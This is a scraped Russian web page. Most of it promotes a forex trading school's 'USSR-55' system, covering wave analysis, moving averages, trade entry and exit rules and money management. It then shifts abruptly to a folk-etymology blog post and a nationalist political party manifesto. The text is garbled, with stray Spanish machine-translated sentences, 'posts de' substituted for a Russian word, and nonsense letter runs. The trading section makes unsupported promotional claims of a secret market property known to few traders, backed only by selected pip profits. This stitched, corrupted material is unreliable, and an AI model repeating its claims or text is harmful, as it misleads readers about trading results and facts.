Ussr 55 Forex


www. ussr-55-forex. ru


TÍTULO DE LA PÁGINA Школа трейдеров USSR-55 форекс для начинающих. Обучение форекс, как заработать на форекс. Торговые


Обучение форекс, биржа форекс. Торговые стратегии форекс для начинающих. Основная задача школы трейдеров USSR-55, обучение тому, как заработать на рынке форекс. Обучение трейдеров основано на многолетнем опыте автора. Торговля на форекс, биржа форекс, тор


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Основной секрет торговой системы "USSR-55"


"Занятие трейдингом может превратиться в одно из наиболее депрессивных и обескураживающих переживаний в жизни. С этим связано то, что, согласно статистике, 95 процентов торгующих фьючерсами трейдеров теряют все свои деньги уже в первый год занятия трейдингом. Результаты торговли трейдеров на фондовом рынке приблизительно такие же Так почему же люди, столь успешные в иных сферах деятельности, терпят сокрушительные поражения в трейдинге И вообще, успешными трейдерами рождаются или становятся Ответ Марка Дугласа на это вопрос однозначен:..??. успешными трейдерами становятся Согласно его мнению, человеку необходимо овладеть трейдерским складом мышления. на первый взгляд все довольно просто, но в действительности направление мыслей трейдера далеко от привычного для большинства людей мировоззрения. Когда речь заходит о трейдинге, то становится бесполезным все то, что на протяжении многих лет помогало получать высокие оценки в школе, продвигаться вверх По карьерной лестнице и выстраивать отношения с другими людьми. Оказывается, трейдеры должны научиться мыслить категориями вероятностей, пожертвовав при этом всеми навыками, наработанными для достижения успеха во всех других сферах жизни. "(Торн Харт)


Если Ваша цель - стабильная и успешная торговля, тогда готовьтесь к серьёзному пути, на котором необходимо трансформировать сознание и обрести навык. Отбросьте все мысли о Граале, о везении, о возможности сорвать банк.


Обучение форекс самостоятельно можно и нужно начинать с изучения технического и фундаментального анализа, терминала МТ4. Управления рисками и капиталом, психологии. Знания нужны для формирования необходимой базы навыка, т. е. образа восприятия, а далее процесс переходит на уровень подсознательной интуитивной психической деятельности, происходящей без участия ума - динамической памяти на образ действия. Это называется профессионализмом.


На этапе формирования навыка успешной торговли необходима в обязательном порядке торговая система с положительным матожиданием для формирования опорно значимых образов, на базе которых и происходит профессиональная торговля.


Сначала изучите правила построения торговой системы от профессионала, чтобы не наделать фатальных ошибок. Затем создайте собственную торговую систему, поработайте над точностью системы и отшлифуйте её до уровня положительного матожидания. На это уходит обычно пару лет вместе с обучением и только затем приступайте к формированию навыка на базе этой системы. Если Вам нравится процесс, тогда время пролетит незаметно.


Алгоритм торговой системы URSS-55 построен на упрощенном волновом анализе Эллиотта, свечном анализе Мунехисы Хоммы, индикаторном анализе (в основном это волатильность и объёмы) и уровнях поддержки и сопротивления, на которых возникает явление справедливой цены.


Основанием для такой тактики служит стратегическое мышление в виде синтеза разных элементов технического анализа и синтеза таймфреймов и понимание психологии успешного трейдера в виде навыка прибыльной торговли, т. е. Перевода знаний на уровень подсознания, на уровень интуитивной подсознательной психической деятельности.


Трендовая торговая система "URSS-55" основана на импульсном движении цен, а импульсные системы имеют одно отличительное и весьма необычное, но вполне конкретное свойство. Это свойство нужно увидеть, а для этого необходимо создать понятийный аппарат или показать на реальном рынке. Что и делается в первой Торговой системе форекс "URSS-55".Торговая система работает на любых финансовых рынках, где можно применять технический анализ, а не только на рынке форекс.


Обучение основано на поиске конечных точек, а затем определении разворотных уровней. Работа ведётся по трём экранам. В торговой системе используются такие элементы анализа, как волны Эллиотта, японские свечи, зигзаг со сменой уровня, объёмы и волатильность, модели скользящих средних.


"URSS-55" - трендовая торговая система, основанная на разворотных точках, в которой используется склонность большинства рынков к образованию трендов - единственное надежное свойство для использования в торговле на рынке Форекс.


Пример практического применения алгоритма входа по ТС "USSR-55" в реальной сделке. (Это упрощенный рисунок без авторского набора индикаторов y скользящих средних)


Эта система основана на уникальном наборе индикаторов, позволяющим легко отличать импульс от коррекции, а также авторской концепцией, согласно которой существует единое для всех рынков фундаментальное свойство, которое присутствует в начале любого импульсного движения и отсутствует во флэте и коррекции.


Фундаментальное и единственно надежное свойство рынка неизменно приводит к возникновению импульсного движения цены в виде тренда в конкретной и четко определенной точке входа. Его практически никто не замечает сознательно, хотя ежедневно видят его проявление.


И Чарльз Доу и Ральф Эллиот косвенным образом указывали на это свойство, но никогда прямо не высказывались о нём.


Вот конкретный пример проявления этого свойства на паре EURUSD.


Выполнение правил входа и выхода согласно алгоритму торговой системы "URSS-55" в данном примере дает прибыль 125 пунктов.


Posts de этой же причине фундаментальности, ТС "URSS-55" не зависит от неизбежных колебаний рынка, которые приводят к краху практически все торговые системы, основанные на временных, краткосрочных закономерностях индикаторов. Построение торговой системы только на индикаторах - это путь в никуда.


Истина, как и полагается ей, лежит на поверхности, ясно указывая единственно верное направление.


Об этом свойстве, не пишут в технической литературе, Вам никто о нем не расскажет на форумах и только 5% успешных трейдеров пользуется им интуитивно.


Это свойство настолько глубоко присуще всем трендовым движениям, что на его основе возможно создать бесконечное число торговых систем, сообразно темпераменту и предпочтениям трейдера.


Перед Вами яркий пример использования этого свойства во внутри дневной торговле на паре года EURUSD 01/10/2013. Конечный итог - прибыль в 187 пунктов.


Понимаете ли Вы вполне ясно о каком конкретно свойстве идет речь?


Успешная торговля состоит из доставляющих: сознательная и подсознательная.


К первой области относятся технический и фундаментальный анализ, обретённый самостоятельно или на курсах de divisas.


Практически любой человек способен овладеть техническими и фундаментальными знаниями рынка Форекс.


Становление трейдера происходит не в одночасье, сначала формируются понимание и основные навыки (на это уходит около года), но окончательно, настоящий профессионал формируется за 2-3 года. Форекс - не для любителей. Непонимание этого приводит многих к трагическим ошибкам. Будет правильно, если Вы сразу настроитесь на серьезную работу, которая требует ежедневно проводить у экрана монитора posts de несколько часов. Кто не может себе этого позволить - даже не начинайте. Пожалейте свое время и деньги.


Ко второй части успешной торговли относится мастерство, которое нарабатывается тоже годами. Мастером невозможно стать, изучив только техническую составляющую. Это способность чувствовать рынок, интуиция, предвидение. Без чувства рынка количество ошибок многократно повышается, ведь рынок - это не просто набор точных правил, это массовая психология, где возможно все и даже то, что в принципе невозможно.


Ежедневная торговля с использованием Торговой Системы и ясное понимание того, что мастерство приходит не сразу, но обязательно приходит к тем, кто к делу относится "с душой", превратит Вас, в конечном итоге, в успешного трейдера.


El fondo de la tarjeta de felicitación con la tarjeta de felicitación de la tarjeta de felicitación de la tarjeta de felicitación. Правильное мышление успешного трейдера, психология - вот где лежат главные причины успеха или неудачи.


Los elementos de diseño están diseñados para ser utilizados en la producción de papel de aluminio. Основа профессиональной торговли на валютном рынке.


Торговые системы форекс - это рубеж, за которым начинается профессионализм и завершается форекс для начинающих. Это системное, стратегическое мышления профессионального трейдера форекс.


URSS-55 и USSR-STS построены на синтезе следующих положений технического анализа:


Волновой анализ (EWА)


Синтез таймфреймов - аналог теории Доу о приливах и 3-х экранов Элдера


Фрактально-зигзаговый разворот (ФЗР), как уточнененная модель смены поддержки / сопротивления


Скользящие средние: три модели начала тренда


Показания индикаторов: авторский набор индикаторов импульса и коррекции


Теория трех волн (волны коррекции) - авторская методика


Линии тренда - лучшие фильтры ложных сигналов


Фактор времени


Алгоритм открытия ордера и входа в рынок


Алгоритм мониторинга и выхода из сделки


Управление капиталом (Gestión del dinero)


1. Волновой анализ Эллиотта (EWA)


Волновой анализ Эллиотта - одна из четырёх основных частей технического анализа форекс.


Ральф Эллиотт в 1938 году писал: "Закон волн - это явление, которое всегда функционировало в любой области человеческой деятельности.


Человеческие эмоции носят ритмический характер. Они развиваются в виде волн определённого числа и направления.


Завершённое движение состоит из пяти волн. Три волны из этих пяти будут расположены posts de направлению данного движения, две волны из них - будут в противоположном направлении. Первая, третья и пятая волны представляют собой импульс posts de ходу движения, вторая и четвертая - противоход или коррекцию. Пять волн одной размерности становятся первой волной следующей старшей размерности или волнового уровня.


Рынок, прежде чем достигнуть своей заключительной вершины, должен завершить пятую волну каждого младшего уровня, начиная с Суперуровня и вниз до самых незначительных движений цен, сквозь каждый более мелкий волновой уровень.


"Я считаю, что гораздо более важно знать, когда фактически достигнуты конечные точки, чем прогнозировать догадку". Ральф Эллиотт


Эти слова, по непонятной причине, явно недооценены современными трейдерами. А именно здесь и кроется причина любого изменения тренда.


Движение цены на рынке Forex. который является нелинейной динамической системой, описывается теорией хаоса (математический аппарат для анализа такого рода нелинейных динамических систем). Для объяснения хаотических систем используется понятие фрактала. Фракталы - это объекты обладающие свойством самоподобия, т. е. Такие объекты, части которых подобны целому объекту. Самый типичный пример фрактала - ветви дерева. Принцип самоподобия динамических систем позволяет прогнозировать развитие движения на основании повторяемости фракталов и соотношения Фибоначчи. В свою очередь EWA (análisis de la onda de Elliott) включает фракталы, как основную структурную единицу. Для того, чтобы успешно применять торговые системы форекс необходимы знания EWA в этом объеме - необходимое условие для успешной торговли на форекс. Тот факт. что в таких системах конечный результат сильно зависим от начальных условий, не позволяет прогнозировать развитие движения достаточно точно в долгосрочной перспективе, так как форма и размер первой волны не повторяются, однако при этом общая схема не изменяется.


Волновой анализ Эллиотта является стратегической основой для принятия решений, то есть показания индикаторов и скользящих средних не должны противоречить волновому анализу. Для успешной торговли не обязательны знание волнового анализа в совершенстве, достаточно умения определить первую и вторую волны и затем входить в рынок. Этому умению обучаются слушатели школы: ТС URSS-STS и ТС URSS-55 - это две торговые системы форекс, основаны на разворотных точках, которые возникают при завершении второй волны против предыдущего тренда.


2. Синтез таймфреймов (ТФ)


Прогоровать, основываясь на волновом анализе. Для прогноза направления движения цены необходимо понимание того, как происходит развитие движения posts de отношению к общему направлению старшего тренда. Три или четыре экрана графиков дают возможность для синтеза различных таймфреймов между собой. Понимание такой связи даст Вам возможность увидеть, например, что-5 ти волновой бычий импульс М5 может оказался коррекцией Н1. После которого последует медвежий тренд вниз, вместо ожидаемого движения вверх. Синтез ТФ дает ясное представление о том, в какой структуре волны мы находимся на данный момент и дает возможность прогнозировать дальнейшее развитие рынка. Это положение изложено в одном из постулатов Чарльза Доу - прилив, волна, рябь - который нашёл практическую реализацию в трёх экранах Элдера. У о р р р р р р р р р р р р р р р р р р р р р р р р р р р р р.


На рисунке приведен пример синтеза таймфреймов Н1 и Н4. В данном случае, пяти-волновая структура бычьего движения вверх на Н1. Является первой волной на Н4. После которой последовал вполне предсказуемый глубокий откат. Причем, глубина отката вполне согласуется с в проводитель в проводи в 76.4% y уровнем ФЗР.


La URSS-55 y la USSR-STS se encuentran en la lista de países en los que se encuentran.


3. ФЗР (фрактально - зигзаговый разворот)


Понятие ФЗР ввел Мастерфорекс-V. Существует два типа ФЗР. Разворотный и коррекционный. Оба типа для двух направлений представлены на рисунке.


Для понимания сути ФЗР следует обратить внимание, что при ФЗР происходит смена поддержки на сопротивление при движении вниз и наоборот, смена сопротивления на поддержку при движении вверх. Это фундаментальное и принципиально важное явление смены уровней происходит всегда при смене направления тренда. Об этом явлении написано у всех классиков технического анализа. Не следует думать, что ФЗР - это нечто абсолютно новое для рынка форекс, т. к. явление смены поддержки на сопротивление и наоборот известно уже давно, даже механизм смены прописан в виде "раскаяния трейдеров", но заслуга Мастерфорекса-V очевидна. До него этот механизм не был выделен "красной строкой", что говорит о недостаточном понимании его роли при смене тренда. Он убрал всё лишнее и довел понимание этого механизма до совершенства.


В случае разворотного ФЗР происходит пробитие основания 5 волны предыдущего тренда и закрепление цены за этим уровнем, после чего начинается движение posts de новому тренду.


При коррекционном ФЗР происходит формирование 1 и 2 волн в противоположном от предыдущего направления движения. Затем пробитие вершины 1 волны и закрепление за ней. Длительность предстоящего движения можно прогнозировать исходя из того, на каком таймфрейме произошел ФЗР. М5 и М15 - краткосрочный тренд. Н1 - среднесрочный тренд.


Помимо этого существуют дополнительные факторы. Подтверждающие ФЗР. Например, скользящие средние и, конечно же, индикаторы. Торговые системы форекс часто используют эту смену для определения точки входа.


Что касается ФЗР. То это инструмент слежения за уровнями поддержки и сопротивления. У у............................................ Но на это явление указывали также Гартли. Эллиотт. и особенно отчётливо об этом пишут ученик Гартли - Карни в паттерне "5-0" и Стивен Акелис в "раскаянии трейдеров". В силу того, что на это обстоятельство смены уровней указывают многие профессионалы, мне представляется, что подобная смена уровней является основной базовой структурой движения цены на рынке форекс. Обе торговые системмы форекс, представленные на сайте, используют смену уровней, как базовый элемент.


4. Скользящие средние


"Больше всего реальных денег зарабатывается сегодня с использованием скользящих средних, нежели со всеми прочими техническими индикаторами вместе взятыми". Д. Лукас


Скользящие средние (Medias Móviles) - один из основных индикаторов в техническом анализе рынка Форекс. Это трендовый индикатор. Две скользящие средние имеют уже свойства осциллятора.


Особое внимание следует обратить на тот факт, что во флэте, в отличие от тренда, скользящие средние не работают posts de классическим правилам, а скорее наоборот. Таким образом, наша задача заключается в отсечении флэта и работа только в импульсном движении, что и составляет основное содержание ТС " USSR-55 "-


Основные модели взаимного расположения скользящих средних для начала тренда имеют свойство повторяться с большой степенью достоверности. Именно повторяемость лежит в основе прогноза.


Существует три основные модели расположения МА . которые используются в ТС " USSR-55 ":


Следует согласиться с альтернативной точкой зрения, что "Больше всего реальных денег проигрывается сегодня с использованием скользящих средних" . поэтому в торговой системе " USSR-55 " введены дополнительные фильтры в виде авторского набора индикаторов, позволяющие отсечь ложные сигналы. Синтез с двумя другими составными частями общей ТС " USSR-55 " (ТС " фзр " и ТС " наклонных каналов "), существенно повышает надежность сигнала.


5. Показания индикаторов


Существуют разные подходы к использованию индикаторов: от полного их игнорирования до чрезмерного увлечения. Истина, как обычно, лежит посередине. В торговой системе форекс « USSR-55 » количество индикаторов определяется двумя факторами:


Авторской концепцией, согласно которой начало и завершение импульсного движения надежнее определять с помощью индикатора импульса MACD и индикаторов коррекции, которые показывают начало и завершение коррекции. Такое сочетание индикаторов с целью определения начала и окончания коррекции не встречается ни в одном источнике и является авторской разработкой.


Тем фактом, что психика человека одновременно может воспринимать не более 7 блоков информации, а так же статистическими исследованиями эффективности количества применяемых индикаторов, которые подтверждают то, что эффективность растет с увеличением количества до 5-7, а затем резко падает. Математически, кривая эффективности выглядит как нормальное распределение Гаусса с максимумом на уровне 5 индикаторов.


В торговой системе ТС USSR-STS для определения точки входа используется набор из осцилляторов и графический анализ, в ТС USSR-55 основным сигналом является сигнал импульсного движения и набор индикаторов тренда и коррекции. Ручные торговые системы форекс используют индикаторы как лишь одну из частей полноценного анализа.


6. Теория трех волн


Теория трех волн вынесена в отдельную главу в силу своей универсальности. Не следует путать эти волны с волнами Эллиотта. В торговой системе форекс " USSR-55 " волнами названы некоторые изгибы линий определенных МА . что также является разработкой автора. Анализ сводится к определению их количества и взаимного расположения. Теория трех волн работает на всех ТФ . но наиболее точные результаты она дает на младших ТФ. Одна из моделей расположения этих волн названа автором точкой " G ", в силу лавинообразного изменения рынка в этой точке и столь же быстрого роста положительных эмоций в связи сростом депозита. Теория трёх волн применяется в основном в коррекциях. Однако, это вспомогательный элемент, основным является линия тренда. которая проводится и в коррекциях.


7. Линия тренда


Линия тренда, наряду со скользящими средними, являются одним из важнейших элементов в техническом анализе.


Использование линии тренда в ТС " USSR-55 "служит не только для определения продолжительности тренда (с этой целью используются, в основном, скользящие средние), но также предназначено для определения завершения тренда, смены его направления и определения так называемой " разворотной точки ", в которой происходит перелом тренда. Преждевременно говорить об окончании коррекции или смене тренда до тех пор, пока цена находится по левую сторону наклонного канала. Построение линии тренда оказывает существенную помощь при определении момента завершения коррекции с целью дополнительного входа. Важным моментом является то, что помимо сигналов индикаторов и показаний скользящих средних, мы используем дополнительный параметр другого уровня (графический анализ), что повышает достоверность и надежность сигнала. Выход цены и скользящей средней за границы линии тренда, в сочетании с ФЗР и показаниями индикаторов, составляет суть использования разворотной стратегии в ТС " USSR-55 ".


Основное назначение линии тренда - отсечь ложные сигналы, внешне напоминающие истинные сигналы на вход, которые возникают преимущественно в переломных точках тренда в момент, когда рынок еще не сформировал окончательное решение по направлению предстоящего движения.


8. Фактор времени


Фактор времени сводится к пониманию того факта, что основная торговля на форекс, т. е.тренды начинаются и заканчиваются во время сессии, а основное количество ошибок приходится на периоды коррекции во время межсессионных флэтов. Нет необходимости неотрывно находится у экрана монитора, фактически лишь трижды в день существует реальная возможность открыть ордер: на Европейской, Американской и Азиатской сессии. Межсессионный флэт нужен для отдыха. При этом необходимо учитывать особенности каждого финансового инструмента, например, GBPUSD имеет свойство в начале сессии устанавливать некоторые границы диапазона вверх-вниз и только затем пробивает одну из границ и начинается истиное движение. Кто об этом не знает, становятся жертвой. Или такое свойство, как движение валют на Франкфутре вверх, например, а Лондон затем отыгрывает его полностью вниз. Жизнь состоит из мелочей, а рынок из деталей.


9. Алгоритм открытия ордера


Торговля на форекс - это в первую очередь алгоритм открытия ордера, который состоит из следующей последовательности решений и действий:


На основании волнового анализа и линий тренда, используя таймфреймы D1 и H4 . определяем общее направление тренда.


Дальнейшее развитие ситуации представляет интерес только в том случае, если мы наблюдаем на Н4 выполнение строго определенных в ТС " USSR-55 " показаний индикаторов и скользящих средних.


При наличии подобного сигнала переходим на Н1 . Снова дожидаемся выполнения строго определенных в ТС " USSR-55 " показаний индикаторов и скользящих средних.


Используя графики индексов, можно выбрать наиболее перспективный инструмент для дальнейшей работы(разнонаправленность составляющих валютную пару индексов, дает перспективу трендового движения, одинаковая направленность, либо явная коррекция обоих индексов, приводит к коррекции или флэту. Это относится ко всем инструментам кроме йены. Валютная пара на основе йены по техническим причинам составлена таким образом. что необходимым условием хорошего тренда является одинаковая направленность составляющих пару индексов.)


Переходим на таймфрейм М30 . Для того чтобы сигнал на вход можно было рассматривать как достоверный, необходимо, чтобы скользящие средние выстроились правильным образом. Скользящие средние - это важный и ясно читаемый сигнал. Очень важный момент: чередование МА - это явный признак коррекции.


Следующий шаг заключается в переходе на мониторинг графиков М1 . М5 . М15 . Лучшим решением представляется расположение четырёх графиков в одном окне: М1 . М5 . М15 и Н1 . после того, как на Н4 определили основное направление тренда. Такое расположение дает возможность наблюдать развитие движения на основе синтеза ТФ . Для этого желательно иметь монитор размером не менее 17".


Ожидаем выход цены за линию тренда. Это ключевой момент.


Решение на вход принимаем по М5 и М15 . при условии. что на остальных ТФ сигналы не противоречат нашему решению и данное решение находится в полном соответствии с направлением тренда Н4 .


10. Алгоритм закрытия сделки


«В то время пока новички тратят все свое время в поисках входов, умудренные трейдеры знают, что действительно трудные решения приходится принимать при выходе из выигрывающей позиции. Дать прибыли вырасти в хорошей торговле - абсолютно необходимый фактор для долгосрочного успеха. Ни одна самая лучшая стратегия управления капиталом не способна превратить убыточную систему в прибыльную, но даже небольшие изменения в стратегии выходов способны творить чудеса. Основной ошибкой большинства трейдеров является слишком ранний выход из прибыльных сделок» Брюс Бэбкок. Перевод с английского Moysha


Торговля на форекс завершается по следующему алгоритму:


Следим за импульсным движением цены, используя торговые системы форекс " USSR-55 " и " USSR-STS ".


Используем авторский набор индикаторов коррекции для определения момента выхода их из "зоны". Пересечение границ этой "зоны" является одним из необходимых условий закрытия ордера.


Используем линию тренда для определения завершения тренда, смены его направления и определения так называемой "нулевой точки", в которой происходит перелом тренда.


Определяем дивергенцию по показаниям осцилляторов.


Одновременно, следим за достижением уровней Фибоначчи от первой волны Эллиотта.


Синтез всех этих условий дает вполне однозначный сигнал на выход.


На рисунке показано использование уровней Фибоначчи для определения точки выхода. Установлен Trailing stop в 45 пунктов. Цена достигла 161.8%, следующий уровень - 200%, за ним 261.8%, который и был достигнут ценой.


11. Управление капиталом (Money Management)


Профессиональная состоятельность и Финансовый успех трейдера покоятся на трех китах торговли:


Практически все рассматриваемые в классике методы относятся к управлению счетом (депозитом), и имеют очень мало общего с ММ одиночной сделки. Рассмотрим лишь несколько распространенных методов.


1. Фиксированный лот


Все позиции открываются некоторым постоянным количеством лотов (объемом), определенным заранее (т. е. например 0.1, или 1, или 2.5, 10, 100 и т. д. лотов - причем независимо от исхода предыдущего трейда, текущего размера депозита и других текущих показателей торговли). Помимо данного, исходного варианта, возможны вариации, например, так сказать, "ступенчатое" изменение лота при прохождении определенных "отметок" - в размере депо, во времени и т. д. (но в пределах одной такой "ступеньки" лот, естественно, остаётся неизменным). " Фиксированный лот " - простая и удобная тактика управления капиталом, являющаяся, возможно, едва ли не лучшим (против отсутствия какой-либо) вариантом для начинающего трейдера.


2.Фиксированный процент (фракция, доля).


В каждой сделке рискуем неким заранее выбранным, фиксированным процентом имеющегося депозита. Реально - это расстояние от предполагаемой цены открытия сделки до стоп-лосса, рассчитанное в деньгах


Довольно простая в использовании система; объем позиции изменяется пропорционально размеру депозита. При этом полученная прибыль автоматически включается в игру на очередной сделке, а при убытке, наоборот, лот пропорционально уменьшается. Риск остается неизменным всё время.


Минусы: эффект "ассиметричного рычага", проще говоря, получив некий убыток ($) в N пунктов, придется заработать больше пунктов профита, чем N, чтобы возместить утерянную сумму (ведь "отыгрываться" придется более "легким" лотом); при небольшом начальном депозите (что весьма типично для начинающих) зачастую бывает невозможно играть с небольшим (напр. 5-10%) фиксированным процентом, приходится рисковать подчас 30% и больше, что значительно увеличивает вероятность разорения.


Сюда же входит оптимальное f Винса, которое рассчитывается автоматически на основании истории реальных сделок, т. е. на основании вашего алгоритма торговли и величины депозита. Чем полнее история, тем точнее расчёт оптимального f .


3. Фиксированная пропорция (Райан Джонс (Ryan Jones)).


Согласно тактике Р. Джонса . для того, чтобы к уже имеющемуся количеству лотов прибавить ещё один, каждый из уже имеющихся должен "заработать" некое кол-во пунктов (последнее Джонс назвал "дельтой"). Дельта . или ставка роста - величина роста депозита, при достижении которой число лотов необходимо увеличить на 1. Джонс рекомендует Дельту равную половине максимальной просадки вашей системы, т. е величина этих параметров подбирается экспериментально. Например, если у вас просадка 1000 долларов, то дельта равнв 500 долларов, значит переход с одного лота на 2 вы сделаете тогда, когда к депозиту добавится 500$, с 2 лотов на 3, когда уже к этому депозиту добавится (2*500) ещё 1000$


Что общее для всех методов.


В первую и главную очередь они дают возможность контролировать убытки и управлять ими, тем самым защищая свой капитал. И второе - для получения стабильной прибыли не столь важно, какой метод мы выбираем. Важнее - насколько последовательно мы его придерживаемся, чтобы добиться какого-либо результата во времени.


Заключение


Сочетание всех вышеперечисленных факторов в строго определенной последовательности - это и есть торговые системы форекс " USSR-55 " и " USSR-STS ", которые позволяют осуществлять вход в рынок с минимальной просадкой не более 25-30 пунктов. Однако, в силу того, что шумы рынка форекс для внутридневной торговли достигают 40-50 пунктов, рекомендуется применять стоп лосс на уровне 50 п. но выставлятьего не в "чистом поле", а за ближайшим уровнем поддержки или сопротивления.


PD Из данного текста исключены элементы авторского ноу-хау . в силу чего он является ознакомительным.


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Недавно мне понадобилось определить смысловое значение слова СТРАНА не по словарю, а на основании анализа букв и слогов.. Захожу в силлабарий Беликова http://russkieslogi. ru/znacheniya-… Значение слога СТРА . Объединение независимых деталей в единое целое. Элемент или набор элементов множества самостоятельных, но связанных между собой, объектов (в данный момент, данными обстоятельствами). Часть множества. Объект, включающийся в какую-то систему. Система. Связанная группа.


По сути верно и почти полностью определяет слово страна. Правда, есть замечание. слогокорень РА накладывает определённую смысловую и образную нагрузку. Всё-таки это не просто объединение частей в целое, это объединение сущностных единиц в духовное целое. Поэтому СТРАННИК - тот кто духовно "сшивает" страну в единое целое, в отличие от путешественника.


Размышляя над слогокорнем Ра, вспомнил слово ДУРАК . Стал искать смысл этого слова ДУРАК - важнейшее понятие в нашей цивилизации. В общем-то, смысл понятен и он позитивен Д – Делать У - вместе РА-бог, дух К-предназначенный (результат), ДУ - выпячивать, проявлять Дурак - результат совместных действий с богом. Предназначенный, устремлённый к действиям через бога, проявляющий бога. хочу быть Дураком:) Впрочем, часто им бываю, чего там скромничать:) Русские сказки об этом


Итак, вот результат анализа на основе силлабария: СТРАНА - пространство, в котором объединяются на духовном уровне СТРАННИК - предназначенный соединять, "сшивать" духовное пространство ДУРАК - действующий не от себя, но через бога. ДУРАК - предназначенный проявлять Бога.


Кстати, далее ассоциации привели ещё к одному важному слову - ДУША . Это основополагающее для нашей цивилизации понятие. Россия - пространство проявления мировой Души. Жаль, что пока нет этого понятия в силлабарии. ДУ - проявлять, выпячивать. ША - скрывать, закрывать. ДУША - проявлять внутреннее, скрытое, т. е. это инструмент проявления Духа. Вообще, слогокорень ДУ требует особого внимания, (его наличие в таких словах как Душа и Дух, Дурак и Думать), но, к сожалению, пока в силлабарии есть лишь упоминание его как инверсия УД. И в этом смысле он вполне отвечает моим представлениям, ведь УД это жизненная сила, проявляющаяся вовне, а значит ДУ имеет внутреннюю направленность. К счастью, мы присутствуем при рождении силлабария, поэтому развитие неизбежно.


Отсюда, кстати, дураки и дороги - не две беды, а два преимущества России, как сакрального пространства для воплощения Души. Про позитивную роль Дураков описано выше, а вот что касается дорог, то Странники, сшивающие страну воедино, идут неспешно по просёлочным дорогам, а не несутся сломя голову по автобану. У автобанов своя позитивная роль, но сакральностью там не пахнет, русского духа там малым-мало.


Партия Русской Цивилизации (ПРЦ) является партией цивилизационного типа, основанной на светской духовности, т. е. на идеалах и ценностях, в отличие от социальных партий классического типа, основанных на идеологии. ПРЦ выражает интересы всего российского этноса как структурной единицы ноосферы, как части человечеств а в целом, а не отдельных групп общества и поэтому ненасильственна по своей сути.


В силу того, что каждая цивилизация определяется не только и не столько общей территорией и экономикой, но в первую очередь идеалами (дух) и ценностями (душа), лежащими в её основании, ПРЦ ставит своей задачей обеспечить приоритет развития России в рамках русской цивилизации на базе идеалов и ценностей, присущих в первую очередь нашему народу, а не человечеству в целом. Предельное развитие русской цивилизации до уровня идеалов есть наилучший вклад в эволюцию всего человечества.


Внутренние законы Российской Федерации, отражающие идеалы и ценности русской цивилизации, должны иметь приоритет над международным законодательством. Запись об этом необходимо внести в Конституцию РФ.


России нужны великие цели, а значит нужны идеалы, которые указывают направление и дают энергию для их воплощения. Если общих идеалов нет, то народ перестаёт существовать как единое целое. Предназначение формирует идеалы, идеалы определяют ценности, ценности формируют вид и содержание будущих событий.


Воплощение идеалов русской цивилизации происходит через соответствующие ценности, присущие всему нашему народу изначально на уровне души, как основные черты русского характера в широком понимании термина "русский". Задача ПРЦ выявлять, очищать и высветлять истинные ценности, а не создавать или поддерживать ложные и пустые.


Это позволит реализовать наш внутренний потенциал, наше предназначение, а значит, на этом пути мы сможем проявить всё лучшее, что находится в каждом из нас: любовь, творчество, правду, доброту, нестяжательство и на этом пути раскроем наши лучшие черты – и силу духа и широту души, которые проявляются через совесть и справедливость.


На пути достижения идеалов происходит совпадение, синхронизация индивидуальных энергий, возникает гармония и появляется явление резонанса. Возникает приток энергии ноосферы в виде энтузиазма, который служит индикатором правильности действий. Именно так, через энергию энтузиазма происходит созидание нового мира, как это неоднократно было в нашей истории и в истории всего человечества.


Нет необходимости кого-то догонять и обгонять во внешнем мире. Предельное развитие того лучшего, что изначально заложено в нас на генетическом и архетипическом уровнях, позволит достигнуть благополучия, свободы и независимости того высочайшего уровня, который возможен на данном этапе нашего развития. Идеалы и ценности выявляют наше предназначение и позволяют видеть цель и не сбиваться с пути. Раскрытие нашего внутреннего творческого потенциала делает нас уникальными в любой области, в поле своего предназначения и человеку и народу нет равных. Такой человек и такой народ достоин уважения.


Для реализации этой задачи необходимо создать государство, построенное на идеале государственности, т. е. такую структуру, которая обеспечивает раскрытие и реализацию внутреннего потенциала каждого гражданина и всего народа и при этом достигается материальный достаток и духовное благополучие.


Раскрытие и реализация предназначения определяет благополучие, как на физическом уровне, так и на уровне духа и души. Болезни и бедность отступают, когда человек живет и трудится в радости. Именно этот шаг необходимо выполнить для сбережения нации.


Семейный род, система образования и СМИ, через создание социальной творческой среды, должны служить одной цели: раскрытию внутреннего потенциала и уникального предназначения каждого человека. Такой человек-творец с красивой душой создаёт вокруг себя столь же прекрасный мир. "Что наверху, то и внизу, что внутри, то и снаружи"


Идеальное государство должно быть основано на фактическом равенстве граждан в сфере права и собственности, допуская невозможность равенства в сфере духа и души. Для этого необходимо реализовать гражданскую собственность и гражданское право в трактовке академика В. С. Нерсесянца.


Задачи Партии Русской Цивилизации:


Выявление, очищение и высветление идеалов русской цивилизации. Дух проявляется через идеалы. Создание для этой цели Ордена Русской Цивилизации.


Определение жизненных ценностей, необходимых для воплощения этих идеалов. Душа реализует себя в ценностях.


Формирование условий и создание возможностей для проявления, предельного развития и реализации идеалов и ценностей во внешнем и внутреннем мире каждого человека и всего народа через создание соответствующих партийных структур (ПРЦ) и государственных институтов. Задача заключается не в том, чтобы искоренять недостатки, а в том, чтобы развивать достоинства.


Создание условий и формирование возможностей для проявления, предельного развития и реализации предназначения и творческого потенциала каждого гражданина России с целью достижения материального достатка и духовного благополучия.


Развитие самодостаточности и самоидентичности Российского этноса в рамках человеческой цивилизации с опорой на внутренние ресурсы во всех сферах, опорой на собственное предназначение и творческий потенциал и, одновременно, открытостью ко всем внешним влияниям. В силу особой роли речи в этом процессе, особое внимание ПРЦ уделяет очищению, развитию и сохранению русского языка. Необходимо развивать русскую архитектуру, русскую музыку, русское кино, русскую научную школу и так далее, т. е. Культуру именно русской цивилизации, тем самым обогащая общемировую цивилизацию.


Упрощение идеалов насколько это возможно без искажения и подмены содержания до уровня, на котором обыденное сознание способно их воспринимать. Воспитание светской духовности.


Создание структуры в рамках государства Российской Федерации, способной быть центром, объединяющим энергию и информацию на уровне идеалов и ценностей - Палату Светской Духовности в дополнение к двум существующим.


Главная задача ПРЦ - создание условий для объединения индивидуальных энергий до состояния резонанса, при котором возникает качественно новый уровень бытия. Этому уровню соответствует энергия энтузиазма и энергия созидания, на которых создается новый мир. Так проходила индустриализация 30-х годов и покорение космоса в 60-х годах прошлого столетия: через единую цель в виде идеала и возникающий при этом приток энергии в виде энтузиазма.


Построение общества равных возможностей и фактического равенства на базе новой формы собственности и права - гражданской собственности и гражданского права. Новая форма собственности потребует создание нового права, новых общественных отношений на основе фактического равенства собственников и новой формы государства.


Закрепление и передача идеалов и ценностей между поколениями через семейный род, систему образования (дошкольное, среднее и высшее) и СМИ (интернет, телевидение, радио, кино и печатные издания).


